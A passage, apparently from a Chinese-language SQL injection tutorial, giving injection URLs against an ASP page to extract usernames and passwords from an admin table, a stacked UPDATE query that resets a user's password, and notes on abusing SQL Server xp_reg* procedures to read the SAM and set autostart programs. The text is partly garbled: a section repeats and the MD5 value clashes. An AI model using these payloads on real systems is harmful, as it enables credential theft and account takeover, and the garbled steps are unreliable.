HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 flag
from TestDB.dbo. admin where username>1) , flag 是
admin 表中的
一个字段, username 是用户名字段,此时 abc.asp 工作异常
,但能得到 Username 的值。与上同样的方法,可以得到第二用户名,
第三个用
户等等,直到表中的所有用户名。
猜用户密码: HTTP://xxx.xxx.xxx/abc.asp?p=YY and
(select
top 1 flag from TestDB.dbo. admin where pwd>1) , flag
是 admin
表中的一个字段, pwd 是密码字段,此时 abc.asp 工作异常
,但能得到
pwd 的值。与上同样的方法,可以得到第二用户名的密码,第
三个用户
的密码等等,直到表中的所有用户的密码。密码有时是经 MD5
加密的,
可以改密码。
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update
TestDB.dbo.admin set
pwd=' a0b923820dcc509a' where username='www';-- ( 1
的 MD5 值
为: AAABBBCCCDDDEEEF,即把密码改成 1; www 为已知
的用户名 )
用同样的方法当然可把密码改原来的值。
七、几个 SQL-SERVER 专用手段
1、 利用 xp_regread 扩展存储过程修改注册表
[xp_regread] 另一个有用的内置存储过程是 xp_regXXXX 类的
函数集合(Xp_regaddmultistring, Xp_regdeletekey,
Xp_regdeletevalue, Xp_regenumkeys,
Xp_regenumvalues,
Xp_regread, Xp_regremovemultistring, Xp_regwrite) 。
攻击
者可以利用这些函数修改注册表,如读取 SAM 值,允许建立
空连
接,开机自动运行程序等
七、几个 SQL-SERVER 专用手段
1、 利用 xp_regread 扩展存储过程修改注册表
[xp_regread] 另一个有用的内置存储过程是 xp_regXXXX 类的
函数集合(Xp_regaddmultistring, Xp_regdeletekey,
Xp_regdeletevalue, Xp_regenumkeys,
Xp_regenumvalues,
Xp_regread, Xp_regremovemultistring, Xp_regwrite) 。
攻击
者可以利用这些函数修改注册表,如读取 SAM 值,允许建立空连
接,开机自动运行程序等